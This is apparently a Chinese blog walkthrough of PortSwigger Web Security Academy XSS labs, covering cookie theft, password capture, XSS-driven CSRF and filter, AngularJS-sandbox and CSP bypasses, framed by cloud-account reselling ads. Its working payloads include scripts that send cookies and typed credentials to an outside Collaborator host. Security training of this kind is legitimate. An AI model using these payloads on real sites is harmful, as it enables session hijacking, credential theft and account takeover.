portswigger 靶场之 XSS 篇 (下)
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |
APPRENTICE
14. 利用跨站点脚本窃取 cookie
-
在 burp 中使用 Burp Collaborator Client,点击 copy to clipboard。
-
同时提交博客评论,修改 Burp Collaborator 子域名。
- 脚本的功能:查看评论的人发出 POST 请求以及 读取 cookie。
<script>
fetch('https://qe8bejkmbudhod20kznmpm8v5mbcz1.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
// document.cookie --> JavaScript 可以使用 document.cookie 属性来创建 、读取、及删除 cookie。
-
回到 Burp Collaborator,单击“Poll now”,以便看到 Http 交互从而找到 Cookie 值进行替换
-
刷新 Home 主页,在 Burp Repeater 中,Cookie 替换 Send 发送
15. 利用跨站点脚本捕获密码
依旧是在 burp 中使用 Burp Collaborator Client 功能,点击 copy to clipboard。然后评论博客注入脚本(查看评论的话,会发出包含其用户名和密码的 POST 请求)。
回到 Burp Collaborator,单击“Poll now”,找到用户名和密码进行登录即可
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://6pwdbg28z2wmxtzpbexotcyig9mzao.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
// onchange 事件 --> 当用户改变input输入框内容时执行一段Javascript代码:
administrator:2vlk8eidq808je5v2p8v
16. 利用 XSS 执行 CSRF
先进行登录,在更新电子邮件的位置审查元素,会发现存在 CSRF Token,修改电子邮件获取 CSRF Token 的值
将以下脚本写入博客评论中
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
17. 将 XSS 反射到 HTML 上下文中,大多数标签和属性被阻止
插入 XSS <img src=1 onerror=print()>
发现失败了,用 burp 抓包发送到 Burp Intruder 测试哪些标签和属性被阻止,先清除标签Clear §
,然后将搜索词的值换为<§§>
,在 XSS 备忘单点击Copy tags to clipboard
在 Burp Intruder 的 Payloads 选项卡中,单击“Paste”粘贴。点击“start attack”。看到了 body 和custom tags 响应 200,于是知道了 body 没有过滤
继而将搜索词的值换为<body%20§§=1>
,在 XSS 备忘单点击Copy events to clipboard
Clear 删除之前的 Payload,paste 粘贴刚复制的,点击“start attack”,发现 onresize 响应 200
// 在 Go to exploit server 的 body 中
<iframe src="https://0a3600a6032533acc04d05d10149009f.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
// search="><body onresize=print()>" --> search=%22%3E%3Cbody%20onresize=print()%3E"
18. 将 XSS 反射到 HTML 上下文中,除了自定义标签外,所有标签都被阻止
自定义标记 XSS
<script>
location = 'https://0ac80018037267b7c24cf04d00d300df.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>
// search=<xss+id=x+onfocus=alert(document.cookie) tabindex=1>#x';
19. 允许带有一些 SVG 标记的反射型 XSS
根据标题,测试一下是否可以用 <svg>
。搜索框中输入
<svg><animatetransform onbegin=alert(1) attributeName=transform>
// onBegin() (当元素周期开始时由 onbegin 事件立即触发)
20. 规范链接标签中反映的 XSS
https://0ad700e904e18a69c0580c0a00f50068.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)
%27accesskey=%27x%27onclick=%27alert(1) --> 'accesskey='x'onclick='alert(1)
21. 将 XSS 反射为带有单引号和反斜杠转义的 JavaScript 字符串
输入<script>alert(1)</script>
发现(图一)
于是直接使用两个弹窗123"<script>alert(1)</script>"<script>alert(1)</script>
(图二)
22. 将 XSS 反映到带有尖括号和双引号的 JavaScript 字符串中 HTML 编码和单引号转义
输入后的东西会先被 HTML 编码,然后再被 URL 编码
// 弹窗
<script>alert(1)</script>
// Html 编码
<script>alert(1)</script>
// Url 编码
%26lt%3Bscript%26gt%3Balert(1)%26lt%3B%2Fscript%26gt%3B
// encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。
注意到\
没有进行编码
123\'+alert(1); //
23. 将 XSS 反映到带有尖括号、单引号、双引号、反斜杠和反引号的模板文字中 Unicode 转义
HTML 解码:
http://aaa'+alert(1)+'
--> http://aaa'+alert(1)+'
'
进行 Html 解码后是 '
http://aaa'+alert(1)+'
EXPERT
24. 带有事件处理程序和 href 属性的反射型 XSS 被阻止
模板字符串 - JavaScript | MDN (mozilla.org)
${alert(1)}
25. 在 JavaScript URL 中反映了 XSS 并阻止了一些字符
<svg><a><animate attributeName=href values="javascript:alert(1)" dur=1s repeatCount=2 /><text x=20 y=20>Click Me</text></a>
26. 反射 XSS 与 AngularJS 沙箱转义没有字符串
// 问题点
angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = '123';
$scope.value = $parse(key)($scope.query);
});
https://0ae600a2036e6b38c13fc17000230068.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
27. 使用 AngularJS 沙箱转义和 CSP 的反射 XSS
<script>
location='https://0a140035033feb4dc106573801c300c2.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
28. 受非常严格的 CSP 保护的反射型 XSS,带有悬挂标记攻击
目的是需要修改被害者的 Email 变成 hacker@evil-user.net
需要取 CSRF Token,然后 CSRF PoC 放入 Token,修改邮箱地址……
30. 受 CSP 保护的反射型 XSS,绕过 CSP
预期解决方案只能在 Chrome 中使用。
https://0a2a00f0049fa705c2fbc4b600460008.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27
// 搜索search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27
//URL 解码后
<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
// unsafe-inline 允许使用内联资源
// script-src-elem CSP 内容安全性策略
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |